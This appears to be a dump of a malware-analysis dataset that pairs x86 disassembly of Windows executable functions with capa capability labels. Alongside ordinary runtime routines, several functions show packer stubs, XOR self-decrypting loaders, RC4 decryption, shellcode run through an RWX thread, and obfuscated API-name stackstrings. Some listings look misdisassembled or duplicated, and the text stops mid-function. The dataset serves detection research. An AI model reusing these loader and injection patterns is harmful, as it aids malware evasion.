joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5d4b80
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebx
push esi
push 0x94dd20
xor bl, bl
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection_1]
mov eax, dword [0x94dc40]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue_1]
test eax, eax
jne 0x5d4bfb
push 0x4c
push 1
call fcn.005e4065
mov esi, eax
add esp, 8
test esi, esi
jne 0x5d4bc3
push 0x94dd20
mov bl, 1
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection_1]
pop esi
mov al, bl
pop ebx
ret
mov ecx, dword [0x94dc40]
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_TlsSetValue_1]
mov eax, dword [0x93f5bc]
inc eax
lea edx, [esi + 0xc]
mov dword [0x93f5bc], eax
push edx
mov dword [esi + 0x30], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection_1]
lea eax, [esi + 4]
push 0
push eax
call fcn.005d86c0
add esp, 8
mov byte [esi + 0x3c], 1
push 0x94dd20
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection_1]
pop esi
mov al, bl
pop ebx
ret

Function at 0x5d5080
Capabilities:
Read file on windows

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x1c]
mov dword [esp + 0x1c], edi
call fcn.005e3c3d
mov ebx, dword [esp + 0x14]
mov dword [eax], 0
mov eax, dword [esp + 0x18]
push edi
push eax
push ebx
call fcn.005edbfc
mov esi, eax
add esp, 0xc
cmp esi, edi
je 0x5d517a
call fcn.005e3c3d
cmp dword [eax], 0
je 0x5d50c7
call fcn.005e3c3d
mov ebp, dword [eax]
jmp 0x5d50ca
or ebp, 0xffffffff
call fcn.005d4c10
test esi, esi
mov dword [eax], ebp
jne 0x5d50df
call fcn.005e3c3d
cmp dword [eax], 4
je 0x5d512f
mov eax, dword [esp + 0x20]
test al, 0x1a
je 0x5d5112
cmp esi, 0xffffffff
je 0x5d5154
test al, 6
je 0x5d5112
call fcn.005d4c10
mov ecx, dword [eax]
push ecx
push ebx
call fcn.005d86f0
add esp, 4
push eax
push 0x24
push 9
call fcn.005d5460
mov eax, dword [esp + 0x30]
add esp, 0x10
cmp esi, 0xffffffff
je 0x5d5172
test al, 6
je 0x5d5120
test ah, 2
je 0x5d5172
test esi, esi
jbe 0x5d517e
test ah, 2
je 0x5d517e
add dword [esp + 0x18], esi
sub edi, esi
call fcn.005e3c3d
mov edx, dword [esp + 0x18]
push edi
push edx
push ebx
mov dword [eax], 0
call fcn.005edbfc
mov esi, eax
add esp, 0xc
cmp esi, edi
je 0x5d517a
jmp 0x5d50b4
call fcn.005d4c10
mov eax, dword [eax]
push eax
push ebx
call fcn.005d86f0
add esp, 4
push eax
push 0x24
push 2
call fcn.005d5460
add esp, 0x10
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret
mov eax, dword [esp + 0x20]
test al, 6
je 0x5d518b
xor esi, esi
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
ret
test ah, 2
je 0x5d5194
mov esi, dword [esp + 0x1c]
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
ret

Function at 0x5e6244
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x5e6264
call dword [sym.imp.KERNEL32.dll_GetLastError_1]
push eax
call fcn.005e3bca
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x5e6287
test byte [esp + 8], 2
je 0x5e6287
call fcn.005e3c3d
mov dword [eax], 0xd
call fcn.005e3c46
mov dword [eax], 5
jmp 0x5e6260
xor eax, eax
ret
Function at 0x5f8725
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x5f875d
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.005f67af
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA_1]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.005f6787
jmp 0x5f8769
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x5f9e17
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x5f9e59
call fcn.005ff90f
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x5f9e59
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x5f9e50
xor eax, eax
jmp 0x5f9e61
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.005f9e67
pop edi
pop esi
pop ebx
ret 4

Function at 0x5ffe3f
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection_1]
cmp dword [esp + 0x10], 0
jne 0x5ffe6d
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue_1]
test eax, eax
je 0x5ffe8b
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.005ffda5
jmp 0x5ffe8b
mov eax, dword [esi + 0x14]
test eax, eax
je 0x5ffe8b
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.005ffda5
test edi, edi
mov eax, edi
jne 0x5ffe75
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection_1]
pop esi
pop ebx
ret 8
Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x409be9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x409bf8
pop dword [ebp - 0x20]
mov eax, 0xb81a3335
sub eax, 0xb7d9973d
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0xf66b8b82
add dword [ebp - 0x30], 0x57e6b9c9
mov dword [ebp - 0x2c], 0xbbeae019
add dword [ebp - 0x2c], 0x76486c2c
mov dword [ebp - 0x28], 0x9142e1c8
add dword [ebp - 0x28], 0xbb096266
mov dword [ebp - 0x24], 0xd11bcd40
sub dword [ebp - 0x24], 0xd11bcd40
lea eax, [ebp - 0x30]
push eax
mov eax, 0xa9d31b64
add eax, 0x566f1510
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x33a462bf
sub dword [ebp - 0x30], 0xbf31f969
mov dword [ebp - 0x2c], 0x1166f1f2
sub dword [ebp - 0x2c], 0xcffa907d
mov dword [ebp - 0x28], 0xbe800bec
sub dword [ebp - 0x28], 0x5b109f80
mov dword [ebp - 0x24], 0x6ca15719
sub dword [ebp - 0x24], 0x6ca15719
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0xaa297019
add eax, 0x5618c10b
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x411b3
push 0
call eax
mov ecx, 0xe17b300a
add ecx, 0x1e852519
mov edx, eax
mov esi, 0xd83377d1
add esi, 0x280fcc2f
add esi, dword [ebp - 0x20]
mov ebx, 0xba9177de
sub ebx, 0xd9bfecec
sub dword [ebp - 0x1c], 0xe0a97bac
mov edi, dword [esi]
xor dword [ebp - 0x1c], ebx
xor edi, ebx
sub dword [ebp - 0x1c], ecx
mov dword [edx], edi
mov dword [ebp - 0x14], 0x426311e
add edx, 0x7a51439b
add edx, 0x85aebc69
add esi, 0x91394c0
sub esi, 0x91394bc
loop 0x409d1a
add eax, 0x94411229
sub eax, 0x943fcaca
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x18ef6eb3
sub ecx, 0x18af6eb3
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x80b4a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x80b4c2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x80b4c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x80b4b8
mov eax, 1
add ebx, ebx
jne 0x80b4db
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x80b4d0
jne 0x80b4ec
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x80b4d0
xor ecx, ecx
sub eax, 3
jb 0x80b500
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x80b572
mov ebp, eax
add ebx, ebx
jne 0x80b50b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x80b518
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x80b53c
inc ecx
add ebx, ebx
jne 0x80b528
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x80b51d
jne 0x80b539
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x80b51d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x80b55c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x80b54d
jmp 0x80b4be
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x80b55c
add edi, ecx
jmp 0x80b4be
pop esi
mov edi, esi
mov ecx, 0x147
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x80b57a
cmp byte [edi], 1
jne 0x80b57a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x80b57f
lea edi, [esi + 0x9000]
mov eax, dword [edi]
or eax, eax
je 0x80b5f7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xb514]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xb58c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x80b5ac
mov ecx, edi
jns 0x80b5db
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xb590]
or eax, eax
je 0x80b5f1
mov dword [ebx], eax
add ebx, 4
jmp 0x80b5c9
call dword [esi + 0xb594]
popal
jmp 0x802d68

Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..rsrc
mov ebx, 0x40c7d0
nop
mov ecx, 0x1bb5804
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x432024
nop
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f314
nop
mov ecx, 0x7a4645df
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x432084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x433004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
mov ecx, 0x73727217
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x43304e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..text_1
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x6b8d4ed2
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219

Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x4058bd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x4058cc
pop dword [ebp - 0x28]
mov eax, 0xc6940218
add eax, 0x39ac56b4
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x4d54c0b4
sub dword [ebp - 0x38], 0xff027b69
mov dword [ebp - 0x34], 0x99b0defc
sub dword [ebp - 0x34], 0x677d92b7
mov dword [ebp - 0x30], 0x1345944b
sub dword [ebp - 0x30], 0xc6f9501d
mov dword [ebp - 0x2c], 0xbef9b89f
add dword [ebp - 0x2c], 0x41064761
lea eax, [ebp - 0x38]
push eax
mov eax, 0xba59c678
sub eax, 0xba18f624
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x96f0eb5d
add dword [ebp - 0x38], 0xdd817df9
mov dword [ebp - 0x34], 0xa6585dc0
add dword [ebp - 0x34], 0x9b1403b5
mov dword [ebp - 0x30], 0x38703fc9
add dword [ebp - 0x30], 0x2aff2ca3
mov dword [ebp - 0x2c], 0x61b84be3
add dword [ebp - 0x2c], 0x9e47b41d
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x38f34
push 0
call eax
mov ecx, 0xd7da1fc3
sub ecx, 0xd7d9da26
xor esi, esi
add esi, eax
mov edi, 0xd0dc0dc8
sub edi, 0xd09a5dc8
add edi, dword [ebp - 0x28]
mov ebx, 0x97065f7b
sub ebx, 0xaafcd4b4
xor dword [ebp - 0x10], 0x14a38350
mov edx, dword [edi]
sub dword [ebp - 0x24], ecx
add edx, ebx
add dword [ebp - 8], edi
mov dword [esi], edx
sub dword [ebp - 8], edi
add esi, 4
add edi, 0x4b47df19
add edi, 0xb4b820eb
loop 0x4059eb
add eax, 0x8f5f5ad1
add eax, 0x70a1ae76
xor ebx, ebx
add ebx, eax
add eax, 0xeccfbc62
add eax, 0x133043a3
mov ecx, 0x400000
add ecx, dword [ebp - 0x28]
call ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x40190b
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x20c
mov eax, dword [0x425040]
xor eax, esp
mov dword [esp + 0x204], eax
push ebx
push ebp
push esi
push edi
xor edi, edi
mov ebp, 0x100
mov ecx, edi
xor edx, edx
mov byte [esp + ecx + 0x10], cl
push 0x17
mov eax, ecx
pop esi
div esi
mov al, byte [edx + 0x46acb0]
mov byte [esp + ecx + 0x110], al
inc ecx
cmp ecx, ebp
jl 0x40192c
mov esi, edi
mov ebx, edi
mov dl, byte [esp + esi + 0x10]
movzx eax, byte [esp + esi + 0x110]
add ebx, eax
movzx ecx, dl
add ebx, ecx
and ebx, 0x800000ff
jns 0x401972
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x10]
mov byte [esp + esi + 0x10], al
inc esi
mov byte [esp + ebx + 0x10], dl
cmp esi, ebp
jl 0x40194f
mov ebx, edi
mov ebp, edi
inc edi
and edi, 0x800000ff
jns 0x401998
dec edi
or edi, 0xffffff00
inc edi
mov cl, byte [esp + edi + 0x10]
movzx esi, cl
add ebx, esi
and ebx, 0x800000ff
jns 0x4019b1
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x10]
mov byte [esp + edi + 0x10], al
mov byte [esp + ebx + 0x10], cl
call fcn.00401f03
push eax
call fcn.004020c6
movzx eax, byte [esp + edi + 0x14]
add eax, esi
movzx eax, al
pop ecx
mov al, byte [esp + eax + 0x10]
xor byte [ebp + section..Right], al
inc ebp
cmp ebp, 0x43800
jl 0x401987
mov ecx, dword [esp + 0x214]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004047e0
add esp, 0x20c
ret

Function at 0x401c18
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x425040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x422e88
lea ecx, [ebp - 0x1c]
call fcn.00401d07
push 0xc
call fcn.004047f3
pop ecx
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, eax
call fcn.004019ff
mov eax, dword [eax + 4]
shl eax, 2
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push 0x40
push 0x4ac
push 0x46a800
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
xor eax, eax
push eax
push eax
push eax
push 0x401bdd
push eax
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_CreateRemoteThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push ecx
push ecx
call fcn.0040190b
pop ecx
pop ecx
mov edx, 0x46a800
add edx, 0x188
mov esi, section..Right
push esi
call edx
lea ecx, [ebp - 0x1c]
call fcn.00401d94
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.004047e0
leave
ret

Function at 0x404f90
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
test eax, eax
je 0x404fcf
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x404fcf
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x404fcf
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x404fcf
cmp dword [ecx + 0x74], 0xe
jbe 0x404fcf
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x4052f5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebx
push esi
add esp, 4
add ebx, 0xe177
and ebx, 0xf821
pop ebx
push esi
push ecx
add esp, 4
or esi, 0xcbe8
add byte [ecx + 0x7121f6], al
add byte [ecx + 0x22dff6], al
add byte [esi + 0x51], bl
sub ecx, 0xbdc
pop ecx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xbe4]
mov dword [ebp - 0x15d0], eax
push edi
push edx
add esp, 4
or edi, 0x1418e
call 0x404fba
add byte [ebp + 0x44], cl
inc esi
dec esp
aaa
dec edi
xor eax, dword [ebx + 0x515f04c4]
push edi
add esp, 4
call 0x404fd0
add byte [edi], dh
dec edi
dec esp
cmp al, byte [esi + 0x48]
add esp, 4
pop ecx
mov dword [ebp - 0x20a4], 0xffffffff
push edi
push eax
add esp, 4
xor edi, 0x5c0b
pop esp
add byte [eax], al
xor edi, 0x5db2
sub edi, 0x115ca
pop edi
push ecx
add ecx, 0x19cc
or ecx, 0xa21d
xor ecx, 0x3f24
sub ecx, 0x39f9
pop ecx
mov ecx, dword [ebp - 0x3f0]
mov dword [ebp - 0x500], ecx
jmp 0x40502d
push ebx
push esi
add esp, 4
or ebx, 0xf9a3
or ebx, 0x23d
add ebx, 0x16ee6
xor ebx, 0x8862
pop ebx
push ebx
sub ebx, 0x17082
pop ebx
push ebx
push edi
add esp, 4
and ebx, 0xe9de
pop ebx
mov eax, dword [ebp - 0x500]
sub eax, dword [ebp - 0x3f0]
cmp eax, 0xffffffff
jb 0x4050a7
push eax
push edi
add esp, 4
sub eax, 0x5ad3
pop edx
add byte [eax], al
pop eax
push eax
add eax, 0xf52a
xor eax, 0x13873
pop eax
push esi
push ebx
add esp, 4
and esi, 0x3cf7
sub esi, 0x4428
or esi, 0x4c82
add byte [eax], al
pop esi
jmp 0x4052d5
mov dword [ebp - 0xc88], 7
mov ecx, dword [ebp - 0x500]
mov dword [ebp - 0xac0], ecx
push esi
or esi, 0x1122c
push ebx
jmp 0x4052dd
pop ebx
push ecx
xor ecx, 0x13b71
add al, ch
or eax, dword [eax]
add byte [eax], al
add byte [edi + 0x48], cl
cmp dword [esi + 0x37], ecx
aaa
cmp dword [edi], edi
aas
inc eax
add esp, 4
pop ecx
push edi
or edi, 0x772b
xor edi, 0x15eca
pop edi
mov dword [ebp - 0xab8], 0
Function at 0x406e3e
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
add esp, 4
sub ebx, 0x8474
pop ebx
push esi
sub esi, 0x11077
pop esi
cmp dword [ebp - 0x2fc], 0
jne 0x407677
mov eax, 0x6b
mov word [ebp - 0x1790], ax
mov ecx, 0x65
mov word [ebp - 0x178e], cx
mov edx, 0x72
mov word [ebp - 0x178c], dx
mov eax, 0x6e
mov word [ebp - 0x178a], ax
mov ecx, 0x65
mov word [ebp - 0x1788], cx
mov edx, 0x6c
mov word [ebp - 0x1786], dx
mov eax, 0x33
mov word [ebp - 0x1784], ax
mov ecx, 0x32
mov word [ebp - 0x1782], cx
mov edx, 0x2e
mov word [ebp - 0x1780], dx
mov eax, 0x64
mov word [ebp - 0x177e], ax
mov ecx, 0x6c
mov word [ebp - 0x177c], cx
mov edx, 0x6c
mov word [ebp - 0x177a], dx
xor eax, eax
mov word [ebp - 0x1778], ax
push eax
or eax, 0xca87
or eax, 0x6ebe
jmp 0x406e2a
or eax, 0x52e4
pop eax
push ecx
call 0x406e3e
add byte [ebp + 0x43], al
xor eax, 0xc4834144
add al, 0x59
push esi
xor esi, 0x15db5
pop esi
mov byte [ebp - 0x8a4], 0x4c
mov byte [ebp - 0x8a3], 0x6f
mov byte [ebp - 0x8a2], 0x61
mov byte [ebp - 0x8a1], 0x64
mov byte [ebp - 0x8a0], 0x4c
mov byte [ebp - 0x89f], 0x69
mov byte [ebp - 0x89e], 0x62
mov byte [ebp - 0x89d], 0x72
mov byte [ebp - 0x89c], 0x61
mov byte [ebp - 0x89b], 0x72
mov byte [ebp - 0x89a], 0x79
mov byte [ebp - 0x899], 0x57
mov byte [ebp - 0x898], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x199c], ecx
mov edx, dword [ebp - 0x199c]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19a0], eax
mov ecx, dword [ebp - 0x19a0]
mov dword [ebp - 0x1620], ecx
push edi
call 0x406edd
add byte [eax + 0x42], cl
push eax
aas
dec ecx
inc esi
dec edx
inc edx
xor al, byte [ebx - 0x307efb3c]
or byte [edi + 1], ah
add byte [ecx + 0x11a00cf], al
add byte [edi + 0x50], bl
push ecx
add esp, 4
xor eax, 0x149b6
and eax, 0x13601
pop eax
cmp dword [ebp - 0x1620], 0
jne fcn.00406f17
mov dword [ebp - 0x774], 0
jmp 0x4071be
Function at 0x406edd
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add esp, 4
sub ebx, 0x8474
pop ebx
push esi
sub esi, 0x11077
pop esi
cmp dword [ebp - 0x2fc], 0
jne 0x407677
mov eax, 0x6b
mov word [ebp - 0x1790], ax
mov ecx, 0x65
mov word [ebp - 0x178e], cx
mov edx, 0x72
mov word [ebp - 0x178c], dx
mov eax, 0x6e
mov word [ebp - 0x178a], ax
mov ecx, 0x65
mov word [ebp - 0x1788], cx
mov edx, 0x6c
mov word [ebp - 0x1786], dx
mov eax, 0x33
mov word [ebp - 0x1784], ax
mov ecx, 0x32
mov word [ebp - 0x1782], cx
mov edx, 0x2e
mov word [ebp - 0x1780], dx
mov eax, 0x64
mov word [ebp - 0x177e], ax
mov ecx, 0x6c
mov word [ebp - 0x177c], cx
mov edx, 0x6c
mov word [ebp - 0x177a], dx
xor eax, eax
mov word [ebp - 0x1778], ax
push eax
or eax, 0xca87
or eax, 0x6ebe
jmp 0x406e2a
or eax, 0x52e4
pop eax
push ecx
call 0x406e3e
add byte [ebp + 0x43], al
xor eax, 0xc4834144
add al, 0x59
push esi
xor esi, 0x15db5
pop esi
mov byte [ebp - 0x8a4], 0x4c
mov byte [ebp - 0x8a3], 0x6f
mov byte [ebp - 0x8a2], 0x61
mov byte [ebp - 0x8a1], 0x64
mov byte [ebp - 0x8a0], 0x4c
mov byte [ebp - 0x89f], 0x69
mov byte [ebp - 0x89e], 0x62
mov byte [ebp - 0x89d], 0x72
mov byte [ebp - 0x89c], 0x61
mov byte [ebp - 0x89b], 0x72
mov byte [ebp - 0x89a], 0x79
mov byte [ebp - 0x899], 0x57
mov byte [ebp - 0x898], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x199c], ecx
mov edx, dword [ebp - 0x199c]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19a0], eax
mov ecx, dword [ebp - 0x19a0]
mov dword [ebp - 0x1620], ecx
push edi
call 0x406edd
add byte [eax + 0x42], cl
push eax
aas
dec ecx
inc esi
dec edx
inc edx
xor al, byte [ebx - 0x307efb3c]
or byte [edi + 1], ah
add byte [ecx + 0x11a00cf], al
add byte [edi + 0x50], bl
push ecx
add esp, 4
xor eax, 0x149b6
and eax, 0x13601
pop eax
cmp dword [ebp - 0x1620], 0
jne fcn.00406f17
mov dword [ebp - 0x774], 0
jmp 0x4071be
Function at 0x431c46
Capabilities:
Get common file path

Disassembly:
push 0x234
mov eax, 0x51bda9
call fcn.004f21c7
xor ebx, ebx
mov edi, ecx
mov dword [ebp - 0x23c], ebx
test byte [0x5875b4], 1
push 7
mov dword [ebp - 0x240], edi
pop esi
jne 0x431c97
or dword [0x5875b4], 1
xor eax, eax
push 0x529148
mov dword [0x5875b0], esi
mov dword [0x5875ac], ebx
mov word [0x58759c], ax
call fcn.004e9f4f
pop ecx
cmp byte [0x586ca8], 1
jne 0x431cb3
push 0x587598
mov esi, edi
call fcn.004250eb
mov eax, edi
jmp 0x431d90
xor eax, eax
push 0x206
mov word [ebp - 0x21c], ax
lea eax, [ebp - 0x21a]
push ebx
push eax
call fcn.004e7380
add esp, 0xc
push 0x104
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov edi, 0x587598
test eax, eax
je 0x431d7b
xor eax, eax
mov dword [ebp - 0x23c], ebx
mov dword [ebp - 0x220], esi
mov dword [ebp - 0x224], ebx
mov word [ebp - 0x234], ax
lea eax, [ebp - 0x23c]
push eax
mov dword [ebp - 4], ebx
push dword [ebp - 0x21c]
call fcn.0040dcc8
pop ecx
pop ecx
test al, al
je 0x431d69
lea eax, [ebp - 0x238]
push eax
push dword [ebp - 0x23c]
call fcn.0040dd87
pop ecx
pop ecx
test al, al
jne 0x431d54
lea eax, [ebp - 0x238]
push eax
push dword [ebp - 0x23c]
call fcn.0040df58
pop ecx
pop ecx
jmp 0x431d56
mov al, 1
cmp al, bl
je 0x431d69
push 0xffffffffffffffff
push ebx
push edi
lea eax, [ebp - 0x238]
call fcn.00404bcd
or dword [ebp - 4], 0xffffffff
push ebx
push 1
lea esi, [ebp - 0x238]
call fcn.00404e82
mov esi, dword [ebp - 0x240]
push edi
mov byte [0x586ca8], 1
call fcn.004250eb
mov eax, esi
call fcn.004f224a
ret

Function at 0x43206d
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x14
mov eax, 0x515288
call fcn.004f215e
and dword [ebp - 0x18], 0
xor eax, eax
mov esi, str.software360TotalSecurity
mov byte [0x586cb0], 1
mov byte [ebp - 0xd], 0
cmp eax, esi
je 0x4320fd
mov ebx, str.FullCheck
cmp eax, ebx
je 0x4320fd
mov edi, str.ShowOptions
cmp eax, edi
je 0x4320fd
mov eax, dword [0x582d44]
mov ecx, 0x582d44
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x14], eax
and dword [ebp - 4], 0
push ebx
push esi
push str._s_s
lea eax, [ebp - 0x14]
call fcn.00429c50
mov esi, dword [ebp - 0x14]
and dword [ebp - 0x20], 0
add esp, 0xc
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x20]
push eax
push edi
push esi
push SysReAllocString
mov dword [ebp - 0x1c], 4
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
lea eax, [esi - 0x10]
call fcn.0040557a
mov eax, dword [ebp - 0x18]
shr eax, 3
test al, 1
je 0x432138
mov eax, 0x585d80
call fcn.00443792
test al, al
jne 0x432138
push str.zh_CN
